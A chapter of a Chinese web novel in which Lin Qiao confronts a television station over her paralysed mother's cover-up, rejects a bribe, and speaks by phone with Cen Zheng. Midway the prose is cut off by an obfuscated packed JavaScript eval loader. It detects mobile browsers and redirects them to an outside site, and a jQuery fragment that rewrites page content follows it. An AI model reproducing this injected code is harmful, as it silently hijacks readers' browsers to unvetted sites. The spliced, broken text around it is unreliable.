青城比深圳冷上很多,前几天刚落了场雨,现在风里裹着寒气,林俏套了件毛衣在身上,打车直奔青州电视台。
电视台屹立在繁华商圈,外观耀眼夺目,这不是林俏第一次到这里来,大厅里负责登记出入的管理员,看见她来了,轻蔑扯了下嘴角,慢悠悠叫了声她名字,而后道:“你还是回去吧。”
林俏仿佛没听见,直接向电梯口走,管理员怒了,踩着高跟鞋过去拦,扬声斥责:“你这丫头,我说叫你回去你听不懂?”
她这一嗓门喊的大,四处来往的工作人员还有报社记者纷纷望向林俏,不知不觉把她围成了一个圈。
林俏不躲不避,劈手甩过女人的手:“我今天再说一遍没人能拦的了我。”她扬眉,讥讽:“你们电视台不是记者多吗!不是摄影师多吗!那四年前青城污染致癌的事,怎么没一个敢写!哦不对”
她劈头盖脸地骂:“其实你们是想写的,是想报道的,但是骨子里她妈没种,所以叫了个实习记者加外雇我妈妈。”
四面八方的人脸色都隐隐坠下,几个刚毕业的学生,攥紧自己胸前的电脑壳,不敢和林俏对视。
林俏冷眼望着他们,深吸了口气咬牙:“剩下的,需要我继续说下去吗?”
电梯降落到底层,“叮”的一声轻响,指示灯忽的亮起,大厅所有人都同时静默下来。
电梯里走出来一个女人,不到三十岁的模样,穿着得体的职业装,走到林俏面前,在众目睽睽下,带着她进了电梯。
电梯四面透明,林俏扫过她胸前工牌上的名字——方璃
一路升到十九楼,二人无话可说,方璃带着她拐进一间休息室,然后便反锁了门,慢悠悠拉上了窗帘。
旁若无人甩出一份文件,自己坐到桌前:“你妈妈如今病危,家里正是要用钱的时候,把钱收了吧。”
林俏从来不知道,有人可以这么理直气壮,她走到桌子前,夹起那份文件,粗略扫了几眼。
五十万。
她忽然笑了,然后连带着文件夹狠狠甩到方璃脸上,方璃一惊,还没缓过神,便听她不以为然道:
“然后呢?然后你们就想把这事掩下去?”顺手磕碎桌角的玻璃杯,林俏任由碎玻璃渣嵌入掌心,红着眼眶:“我妈妈从出事到现在四年了,电视台一直要给的说法到现在都没给,四年里我妈住在疗养院,有人去看过一次吗?现在看她人要死了,知道给钱了?”
“孙雅依这几年不是升主编了,我还以为她是死了呢”林俏逼近方璃,方璃脸都吓白了,她先前听说,不过是个十八岁的姑娘,为表忠心才特地来帮孙雅依解决的。
“原来她心里也有鬼,知道她这个主编的位置”林俏眸光一冷,高声:“是踩着别人的命上来的!”
轰隆一声巨响,休息室门被人从外向内踹开,林俏转身,刚好看见孙雅依笑的虚情假意。
优雅的女人抚了把长发,四两拨千斤遣散了所有人,林俏忍着心底厌恶,静静望着她表演。
待所有人离开,休息室的门被重新关上,孙雅依笑容瞬间撤了,她对着一面镜子解下项链:“俏俏,这次你过了。”
“孙雅依,你不配这么叫我”林俏走到她身旁,特别认真:“四年前,你要向上升,缺一个大事件,于是你找到我妈妈!你多年的好朋友!哦不对!”
解项链的力度大了几分,孙雅依不语。
“只是我妈妈拿你当了十几年的朋友罢了,你场面话说得一套又一套,口口声声说要报道真相,我妈心疼你多年打拼不易,于是帮你写稿,然后呢?”林俏胸腔起伏着,质问:
“我妈妈因为那一篇稿子,差点死了,从此瘫了,那个记者,现在还在医院躺着,什么时候醒过来都是未知,事情发生后,你当缩头乌龟,甚至联手电视台,倒打一耙,污蔑我妈造假!”她眼泪落下来,砸在地板上:“我妈生病四年,有人去看过一次吗?我来找你,你遣个手底下的人过来,给我甩五十万,我该跪下来感念你的大恩大德吗?”
“你真是好大的盘算,你给我妈钱本就是天经地义,你和你们整个电视台,都要给我们一个说法。”
“你想要什么说法?”孙雅依扯下项链,红唇一勾:“今天我就告诉你,所谓说法永远不会有,你知道为什么吗?”
“俏俏,你已经是成年人了,怎么还这么单纯,你母亲当年那一篇稿子,得罪的是谁你想过吗?不知道没关系,那天你知道了,或许就会明白,你母亲并不冤枉。”
林俏火气猛窜,扬起手。
“啪”的一声巨响,孙雅依面上浮现五道指痕,火辣辣的疼。她捂着脸冷笑:“打我?林俏,你妈教你的教养呢?她当年要是懂点分寸,也不至于把自己作成这幅模样。”
林俏把她桌子上的化妆品全掀翻,噼里啪啦一阵玻璃碎裂的巨响,门外的人心提到嗓子眼,压着声音问,要不要进去,孙雅依冷冷喝出声:“都别进来!”
“这种话我以前听得少吗?”林俏冷冷逼视她:“你别再跟我扯这些,我要的是一个说法,不是你们每天在这里给我扯什么受害者有罪论,我妈她写了一辈子的文章,瘫在床上却要被人污蔑造假博眼球。”
孙雅依慢条斯理捡起地上的项链,擦了擦上面的灰,语气凉薄:“说法?我给你啊。你去街上问问,谁信一个实习外雇的疯话?谁又敢得罪那位?你妈是英雄,可她蠢!蠢到以为笔杆子能捅破天,现在她这副样子,你以为是电视台害的?是她自己撞上去的南墙!”
“我就是要知道,是谁害的,谁干的,究竟是怎么一回事。”林俏微微扬起头,让眼泪不至于滑下来,声音低了很多:“我妈妈可能要没了,我没有妈妈了,我没什么好顾虑的。”
气焰骤然一灭。
孙雅依一愣,光华雍容的脸上罕见几丝沧桑,不过那瞬间极短,林俏拿过桌子上的卡,留下一句:“这事儿不会就这么算了。”
然后一把推开休息室大门,机械地坐电梯下楼,在大厅众目睽睽的注视下离开。
推开电视台厚重的玻璃门,傍晚的风像一记耳光抽在脸上。林俏踉跄了一步,方才对峙时绷成钢丝的神经,“嘣”一声断了,只剩下一片嗡鸣。
公交车上,她缩进最角落的座位。窗外的霓虹开始流淌,斑斓的光掠过她木然的脸,却照不进眼底。
她盯着玻璃上自己模糊的倒影,头发被孙雅依推搡时扯乱了几缕,毛衣袖口在挥舞中沾了不知道谁的咖啡渍,一片污浊的褐。
手里紧紧攥着那张卡,锋利的边缘硌进掌心,生出细密的疼。
繁华耀眼的大都市,不是她的归宿,她生于这一方小小土地,幼儿园认识的人不出意外一直到高中都会是同学。
在这里有她要履行的义务,逆着风飞不起来,选择掉下来就是粉身碎骨。
秦悦给她发消息问她怎么了,她又请了几天假,只说家里有一点事情,她去了医院,把银行卡塞到林爱民手里。
随后带着弟弟妹妹去了家街边小饭馆,饭桌上把叠好的钱悄悄塞到他们手里,催着他们回学校好好读书,话没多说,只抿着唇笑了笑。
口袋里的手机突然震了震,她起身走出饭馆,指尖划开屏幕,“岑政”两个字跳出来时,指腹在屏幕上摩挲了许久,接与不接,竟拿不定主意。
“喂。”她轻轻应了一声,坐在路边的长椅上,声音带着不易察觉的沙哑。
“在忙?”
“没有。”林俏鼻子一酸,强忍着眼眶的热意,“你有什么事吗?”
他顿了顿,语气听不出情绪:“没什么事,就不能给你打电话了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881081|191515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
眼前的世界越来越模糊,她忍着哽咽道:“我不是这个意思。”
那点细微的颤抖,没能逃过岑政的耳朵。他垂着眼皮,声音沉了几分:“挨人欺负了?”
就这么几个字,也不知道有什么魔力,林俏突然嗓子疼得厉害,默默流下了泪,半晌没说话。
一时的静默,显得她像是默认,岑政接着问:“你现在在哪?”
“我回家了,没什么事。”她不由分说掐断电话。
徒留电话那头的岑政举着手机,十一月的北京,已经冷了下来,他把手机揣回口袋,恰逢温邵也从住院部下来。
温邵朝他走近:“几点到的?”
“早上五点多。”岑政脸色很淡:“爷爷情况好多了。”
昨天夜里,陈玢给他打了三个电话过去,电话里把老爷子说得要不行了,岑政包机回来,一路到医院,结果就一高血压。
“爷爷让我跟你说,别怪玢姐,她也是没办法,岑溪前几天拿了个大项目做,青越高层的人怎么看?”他拍了拍岑政肩膀:“阿政,回来吧。”
岑政一贯不上心的样子:“我心里有数,哥,你能看不出来?”他冷嗤出声:“一堆破事偏偏赶现在出来。”
“姑姑昨天往家里打了个电话,你二叔那事捅不破,芬姐过几天照常晋升。”
“捅破了也好”岑政漫不经心,目视前方:“要真欺负了人,直接送进去蹲着也省得再出来祸害。”
温邵没想到他要做这么狠,再一想也是,去年他三叔就被他送进去了,他这表弟,能力他是认可的,丢下一句:“你自己看着处理。”
“听爷爷说,上个月岑家几个旁支去上海,你把人给打了。”温邵到底是他哥,瞥他一眼谴责加教育:“你上次要是不冲动,兴许这次岑溪,也不至于搞这些动作。”
岑政不搭茬,以牙还牙:“姥爷上次骂我的时候,把你也带上了,听说你去云南谈事,在酒局上把一常委的儿子开了瓢,回来挨了他几十道戒尺。”
温邵偏头:“我倒是好奇,什么样的姑娘值当你把人给打了?”
能是什么样的姑娘?想起刚才她挂电话的语气,无所谓道:“一没心没肺的。”
温邵眯了眯眼,觉得好笑:“看上人家了?”
“没。”岑政下意识就是反驳,淡淡启唇:“说不上。”
*
夜里,林俏让林爱民去宾馆休息,他本来就有肝硬化,身体很差,更得好好休息,她自己守在ICU门口,夜里她母亲状况好多了,医生说再稳定下来,就能转普通病房。
医院走廊的灯光是惨白的,二十四小时亮着,照得人没有时间概念。林俏靠在墙上,脊骨被瓷砖的寒意浸透。手机屏幕幽光一闪,是秦悦发来的绩效考核表。
她不是第一。
整整一个月的奔波、忍耐、深夜练习,像投入深潭的石子,连个像样的回声都没有。
她闭了闭眼,喉咙发紧,却连叹气的力气都省了。
疲惫从骨头缝里渗出来,沉甸甸地坠着她。
就在这时,毫无征兆地,脑海里闪过一个画面:岑政靠在跑车边,身后是流光溢彩的夜景,他双手插兜,神情疏淡,仿佛世间一切难题于他不过是指间尘。
那么远。
那一丝曾因他而起的、微弱的光亮和暖意,在此刻ICU仪器规律的“滴滴”声背景音下,显得如此奢侈,如此……不合时宜。
她再次审视自己,转不了团队,母亲又生病,一头扎回青城,什么时候回去也说不准,还要分出精力去查四年前的事和电视台掰扯。
她点进微信,凌晨一点多,删删减减给岑政发了条消息:“岑政,以后没什么重要的事,我们就别见面了,我有很多重要的事,没有时间和你玩。”